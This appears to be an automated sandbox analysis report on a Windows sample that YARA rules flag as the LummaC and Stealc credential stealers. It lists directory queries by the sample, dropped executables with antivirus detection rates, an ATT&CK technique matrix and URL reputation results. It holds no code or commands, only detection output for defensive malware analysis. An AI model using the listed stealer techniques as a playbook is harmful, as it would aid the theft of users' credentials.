Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE

Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe

Directory queried: number of queries: 1474

Source: Yara match	File source: 0000000C.00000003.2836024588.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2871436723.0000000001A58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2798194667.0000000001A5B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2209806548.0000000000A76000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2895609812.0000000001A6C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2839354396.0000000001A59000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2895550351.0000000001A5B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2797107426.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2822426933.0000000001A56000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2797251445.0000000001A5B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2797026872.0000000001A58000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: efe6fe4127.exe PID: 4916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: efe6fe4127.exe PID: 5280, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 00000022.00000003.2989652207.000000000114F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: deecb7b612.exe PID: 5856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: deecb7b612.exe PID: 6976, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: efe6fe4127.exe PID: 4916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: efe6fe4127.exe PID: 5280, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 31.2.num.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.2.num.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.0.num.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.b76bb5cee7.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.num.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.b76bb5cee7.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.2721535335.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3018675741.00000000002BE000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2767324044.000000000135E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2877033985.000000000081E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2766160676.0000000000AA1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3018412209.00000000002A1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000000.3003208783.00000000002BE000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3028252435.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2961232929.0000000000AA1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2875184699.00000000002A1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2862123172.0000000005220000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2967959553.000000000150B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2875355609.00000000002BE000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.2854773209.00000000002A1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.2855075944.00000000002BE000.00000002.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000000.3003112537.00000000002A1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b76bb5cee7.exe PID: 5712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b76bb5cee7.exe PID: 6444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 6456, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003039001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	22 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003039001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9XHYSBI0DT1C8ABJDSO.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1003039001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	0%	URL Reputation	safe
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://completion.amazon.com/search/complete?q=	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab	0%	URL Reputation	safe
https://monitor.firefox.com/breach-details/	0%	URL Reputation	safe
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/addon/	0%	URL Reputation	safe
https://tracking-protection-issues.herokuapp.com/new	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	0%	URL Reputation	safe
https://api.accounts.firefox.com/v1	0%	URL Reputation	safe
https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield	0%	URL Reputation	safe
https://mitmdetection.services.mozilla.com/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	0%	URL Reputation	safe
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	0%	URL Reputation	safe
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	0%	URL Reputation	safe
https://monitor.firefox.com/user/breach-stats?includeResolved=true	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	0%	URL Reputation	safe
https://safebrowsing.google.com/safebrowsing/diagnostic?site=	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://monitor.firefox.com/user/dashboard	0%	URL Reputation	safe
https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID	0%	URL Reputation	safe
https://monitor.firefox.com/about	0%	URL Reputation	safe
https://coverage.mozilla.org	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://blocked.cdn.mozilla.net/	0%	URL Reputation	safe
https://profiler.firefox.com	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://mozilla.cloudflare-dns.com/dns-query	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://monitor.firefox.com/user/preferences	0%	URL Reputation	safe
https://screenshots.firefox.com/	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://webextensions.settings.services.mozilla.com/v1	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

